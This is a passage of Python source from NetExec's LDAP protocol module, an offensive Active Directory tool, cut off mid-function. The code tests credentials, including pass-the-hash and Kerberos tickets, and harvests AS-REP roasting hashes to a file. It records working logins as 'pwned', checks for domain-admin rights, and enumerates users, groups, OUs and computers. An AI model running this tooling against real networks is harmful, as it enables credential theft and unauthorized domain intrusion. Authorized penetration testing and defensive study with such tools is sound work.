# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py # https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf import hashlib import hmac import json import os import socket from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify from datetime import datetime from re import sub, IGNORECASE from zipfile import ZipFile from termcolor import colored from dns import resolver from dateutil.relativedelta import relativedelta as rd from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, UF_SERVER_TRUST_ACCOUNT, SAM_MACHINE_ACCOUNT, ) from impacket.krb5 import constants from impacket.krb5.crypto import generate_kerberos_keys from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE from impacket.smbconnection import SessionError from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns from nxc.logger import NXCAdapter from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes from nxc.helpers.negotiate_parser import parse_challenge from nxc.paths import CONFIG_PATH ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", "533": "STATUS_ACCOUNT_DISABLED", "701": "STATUS_ACCOUNT_EXPIRED", "531": "STATUS_ACCOUNT_RESTRICTION", "530": "STATUS_INVALID_LOGON_HOURS", "532": "STATUS_PASSWORD_EXPIRED", "773": "STATUS_PASSWORD_MUST_CHANGE", "775": "USER_ACCOUNT_LOCKED", "50": "LDAP_INSUFFICIENT_ACCESS", "0": "LDAP Signing IS Enforced", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } class ldap(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.ldap_connection = None self.lmhash = "" self.nthash = "" self.baseDN = "" self.forestDN = "" self.target = "" self.targetDomain = "" self.remote_ops = None self.bootkey = None self.signing_required = None self.cbt_status = None self.auth_choice = "sasl" if not args.simple_bind else "simple" self.admin_privs = False self.no_ntlm = False self.sid_domain = "" self.scope = None self.configuration_context = "" connection.__init__(self, args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ "protocol": "LDAP", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def create_conn_obj(self): try: proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host, timeout=self.args.ldap_timeout) if self.ldap_connection: self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority self.logger.fail("Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") return False except ConnectionRefusedError as e: self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT) or "timed out" in str(e): self.logger.info(f"Error connecting to {self.host}: {e}") return False else: self.logger.error(f"Error connecting to {self.host}: {e}") return False return True def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami response = self.ldap_connection.sendReceive(extended_request) for message in response: search_result = message["protocolOp"].getComponent() if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): response_value = search_result["responseValue"] if response_value.hasValue(): value = response_value.asOctets().decode(response_value.encoding)[2:] return value.split("\\")[1] return "" def check_ldap_signing(self): self.signing_required = None ldap_url = f"ldap://{self.target}" try: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout) ldap_connection.login(domain=self.domain) self.signing_required = False self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: self.logger.debug(f"LDAP signing is enforced on {self.host}") self.signing_required = True else: self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}") except OSError as e: self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}") def check_ldaps_cbt(self): self.cbt_status = "Never" ldap_url = f"ldaps://{self.target}" try: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) ldap_connection.channel_binding_value = None ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: self.logger.debug(f"LDAPS channel binding enforced on host {self.host}") self.cbt_status = "Always" # CBT is Required # Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported elif str(e).find("data 52e") >= 0: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) new_cbv = bytearray(ldap_connection.channel_binding_value) new_cbv[15] = (new_cbv[3] + 1) % 256 ldap_connection.channel_binding_value = bytes(new_cbv) try: ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: self.logger.debug(f"LDAPS channel binding is set to 'When Supported' on host {self.host}") self.cbt_status = "When Supported" # CBT is When Supported else: self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}") self.cbt_status = "Unknown" except SysCallError as e: self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}") if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]: self.cbt_status = "No TLS cert" else: raise except OSError as e: # Should catch TimeoutError ([Errno 110]), ConnectionRefusedError, host/network unreachable, etc. self.logger.debug(f"Connection error while checking LDAPS channel binding on {self.host}: {e!s}") self.cbt_status = "Unknown" def enum_host_info(self): # Enumerate LDAP info target = "" target_domain = "" base_dn = "" try: resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["dnsHostName", "defaultNamingContext", "configurationNamingContext", "rootDomainNamingContext"], sizeLimit=0, ) resp_parsed = parse_result_attributes(resp)[0] self.configuration_context = resp_parsed["configurationNamingContext"] self.forestDN = resp_parsed["rootDomainNamingContext"] target = resp_parsed["dnsHostName"] base_dn = resp_parsed["defaultNamingContext"] target_domain = sub( r",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=IGNORECASE, )[3:] except Exception as e: self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}") self.target = sanitize_dns(target or self.host, self.logger) self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger) self.baseDN = base_dn self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") # Parse hostname and remoteName self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger) self.remoteName = self.target # Parse NTLM challenge ntlm_challenge = None bindRequest = ldapasn1_impacket.BindRequest() bindRequest["version"] = 3 bindRequest["name"] = "" negotiate = getNTLMSSPType1() bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() try: response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) except Exception as e: self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") if ntlm_challenge: ntlm_info = parse_challenge(ntlm_challenge) self.server_os = ntlm_info["os_version"] else: self.no_ntlm = True if self.args.domain: self.domain = self.args.domain elif self.args.use_kcache: # Fixing domain trust, just pull the auth domain out of the ticket self.domain = CCache.parseFile()[0] else: self.domain = self.targetDomain self.check_ldap_signing() if getattr(self.args, "port_explicitly_set", False) and self.port == 389: self.cbt_status = "Unknown" else: self.check_ldaps_cbt() # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") try: self.db.add_host( self.host, self.hostname, self.domain, self.server_os, self.signing_required, self.cbt_status ) except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") def print_host_info(self): self.logger.debug("Printing host info for LDAP") if self.signing_required is True: signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) elif self.signing_required is False: signing = colored("signing:None", host_info_colors[1], attrs=["bold"]) else: signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"]) cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port self.logger.extra["hostname"] = self.hostname self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): if self.auth_choice == "simple": self.logger.fail("Simple bind and Kerberos authentication are mutually exclusive.") return False self.username = username self.password = password self.domain = domain self.kdcHost = kdcHost self.aesKey = aesKey lmhash = "" nthash = "" # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash if self.username and self.password == "" and self.args.asreproast: hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_tgt}\n") return False kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else "" try: # Connect to LDAP self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP" self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() if password: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) elif ntlm_hash: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except SessionKeyDecryptionError: # for PRE-AUTH account self.logger.success( f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}", color="yellow", ) # If no preauth is set, we want to be able to execute commands such as --kerberoasting if self.args.no_preauth_targets: # ruff: ignore[needless-bool] return True else: return False except SessionError as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{self.domain}\\{self.username}{used_ccache} {error!s}", color="magenta" if error in ldap_error_status else "red", ) return False except (KeyError, KerberosException, OSError) as e: self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {e!s}", color="red", ) return False except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI self.logger.error("StrongerAuthRequired Error on login: This should not happen anymore, please contact the devs and open an issue on github!") # We need to try SSL try: # Connect to LDAPS self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() if password: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) elif ntlm_hash: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error!s}", color="magenta" if error in ldap_error_status else "red", ) return False except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error_code!s}", color="magenta" if error_code in ldap_error_status else "red", ) return False def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain if self.username and self.password == "" and self.args.asreproast: hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_tgt}\n") return False try: # Connect to LDAP self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP" self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI if self.args.simple_bind: self.logger.fail("StrongerAuthRequired error on login: SIMPLE bind cannot work with signing/sealing enforced. Falling back to LDAPS.") else: self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") # We need to try SSL try: # Connect to LDAPS self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def hash_login(self, domain, username, ntlm_hash): self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" lmhash = "" nthash = "" # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain if self.username and self.hash == "" and self.args.asreproast: hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_tgt}\n") return False try: # Connect to LDAP self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP" self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.success(out) if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") try: # We need to try SSL self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.success(out) if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") def check_if_admin(self): # 1. get SID of the domaine search_filter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})" attributes = ["objectSid"] resp = self.search(search_filter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "": for item in resp_parsed: self.sid_domain = "-".join(item["objectSid"].split("-")[:-1]) # 2. get all group cn name search_filter = (f"(|(objectSid={self.sid_domain}-512)" f"(objectSid={self.sid_domain}-519)" f"(objectSid={self.sid_domain}-544)" "(objectSid=S-1-5-32-544)" "(objectSid=S-1-5-32-549)" "(objectSid=S-1-5-32-551))") attributes = ["distinguishedName"] resp = self.search(search_filter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) answers = [f"(memberOf:1.2.840.113556.1.4.1941:={item['distinguishedName']})" for item in resp_parsed] if len(answers) == 0: self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") return # 3. Build a filter to query if the primaryGroupID is one of these groups group_ids = ["512", "519", "544", "549", "551"] primaryGroupID_filters = [f"(primaryGroupID={group_id})" for group_id in group_ids] answers.extend(primaryGroupID_filters) # 4. Check if the user is member of one of these groups OR has one of these primaryGroupID search_filter = f"(&(objectCategory=user)(sAMAccountName={self.username})(|{''.join(answers)}))" resp = self.search(search_filter, attributes=[], baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) for item in resp_parsed: if item: self.admin_privs = True return # If nothing matched we are not admin self.admin_privs = False def getUnixTime(self, t): t -= 116444736000000000 t /= 10000000 return t def search(self, searchFilter, attributes, sizeLimit=0, baseDN=None, searchControls=None) -> list: if baseDN is None and self.args.base_dn is not None: baseDN = self.args.base_dn elif baseDN is None: baseDN = self.baseDN try: if self.ldap_connection: self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else "" return self.ldap_connection.search( scope=self.scope, searchBase=baseDN, searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit, searchControls=searchControls if searchControls else paged_search_control, ) except ldap_impacket.LDAPSearchError as e: if "sizeLimitExceeded" in str(e): # We should never reach this code as we use paged search now self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") e.getAnswers() # if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail elif "operationsError" in str(e) and self.scope is None and self.username == "" and self.password == "": self.scope = ldapasn1_impacket.Scope("baseObject") return self.search(searchFilter, attributes, sizeLimit, baseDN) else: self.logger.fail(e) return [] return [] def users(self): """ Retrieves user information from the LDAP server. Args: ---- input_attributes (list): Optional. List of attributes to retrieve for each user. Returns: ------- None """ if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) users = [] if resp: resp_parsed = parse_result_attributes(resp) # We print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(resp_parsed):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parsed: pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") # We default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") users.append(user.get("sAMAccountName", "")) if self.args.users_export: self.logger.display(f"Writing {len(resp_parsed):d} local users to {self.args.users_export}") with open(self.args.users_export, "w+") as file: file.writelines(f"{user}\n" for user in users) def users_export(self): self.users() def groups(self): # Group specific member search if self.args.groups: self.logger.debug(f"Dumping group: {self.args.groups}") # Resolve group DN and primaryGroupID (objectSid) and member attribute group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"]) group_parsed = parse_result_attributes(group_resp) if not group_parsed: self.logger.fail(f"Group '{self.args.groups}' not found") return else: group = group_parsed[0] direct_group_members = group.get("member", []) if not isinstance(direct_group_members, list): direct_group_members = [direct_group_members] # Get all group members: user must have membership OR primaryGroupID search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))" attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] resp = self.search(search_filter, attributes) group_members = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(group_members)}") # Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return if len(group_members) < len(direct_group_members): for member_dn in direct_group_members: member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"]) member_parsed = parse_result_attributes(member_resp) if member_parsed: group_members.append(member_parsed[0]) else: self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'") group_members.append({"distinguishedName": member_dn}) # Deduplicate group members by distinguishedName or cn deduped = {} for item in group_members: key = item.get("distinguishedName", item.get("cn", "")).lower() deduped.setdefault(key, item) resp_parsed = list(deduped.values()) # Display group members if not resp_parsed: self.logger.fail(f"Group '{self.args.groups}' has no members") else: for item in resp_parsed: # Display cn if it is a group # Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present # If nothing is present, display Distinguished Name if "group" in item.get("objectClass", []): out = item["cn"] elif "sAMAccountName" in item: out = item["sAMAccountName"] elif "cn" in item: out = item["cn"] else: out = item["distinguishedName"] self.logger.highlight(out) # List all groups else: search_filter = "(objectCategory=group)" attributes = ["cn", "member", "description"] resp = self.search(search_filter, attributes) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed)}") # Display all groups self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}") for item in resp_parsed: try: # Fix if group has only one member if not isinstance(item.get("member", []), list): item["member"] = [item["member"]] self.logger.highlight(f"{item['cn']:<40} {len(item.get('member', [])):<9} {item.get('description', '')}") except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") def ous(self): if self.args.ous: # Find the OU's distinguished name first self.logger.debug(f"Dumping users from OU: {self.args.ous}") ou_resp = self.search( f"(&(objectCategory=organizationalUnit)(ou={self.args.ous}))", ["distinguishedName"], ) ou_parsed = parse_result_attributes(ou_resp) if not ou_parsed: self.logger.fail(f"OU '{self.args.ous}' not found") return self.logger.debug(f"Found OU DN: {ou_parsed[0]['distinguishedName']}") # Search for users scoped to that OU resp = self.search( "(&(objectCategory=person)(objectClass=user))", ["sAMAccountName", "cn"], baseDN=ou_parsed[0]["distinguishedName"], ) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned: {len(resp_parsed)}") if not resp_parsed: self.logger.fail(f"OU '{self.args.ous}' has no users") return self.logger.highlight(f"{'-sAMAccountName-':<30} -cn-") for user in resp_parsed: self.logger.highlight(f"{user.get('sAMAccountName'):<30} {user.get('cn', '')}") else: # List all OUs self.logger.debug("Dumping all organizational units") resp = self.search("(objectCategory=organizationalUnit)", ["ou", "distinguishedName"]) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned: {len(resp_parsed)}") self.logger.highlight(f"{'-OU-':<40} -Distinguished Name-") for ou in resp_parsed: try: self.logger.highlight(f"{ou['ou']:<40} {ou['distinguishedName']}") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) def computers(self): resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"]) resp_parsed = parse_result_attributes(resp) if resp: self.logger.display(f"Total records returned: {len(resp_parsed)}") for item in resp_parsed: self.logger.highlight(item["sAMAccountName"]) def dc_list(self): # bypass host resolver configuration via configure=False (default pulls from /etc/resolv.conf or registry on Windows) resolv = resolver.Resolver(configure=False) ns = self.args.dns_server or self.host resolv.nameservers = [socket.gethostbyname(ns)] self.logger.debug(f"DNS Server option: {self.args.dns_server}, using DNS server: {resolv.nameservers}") 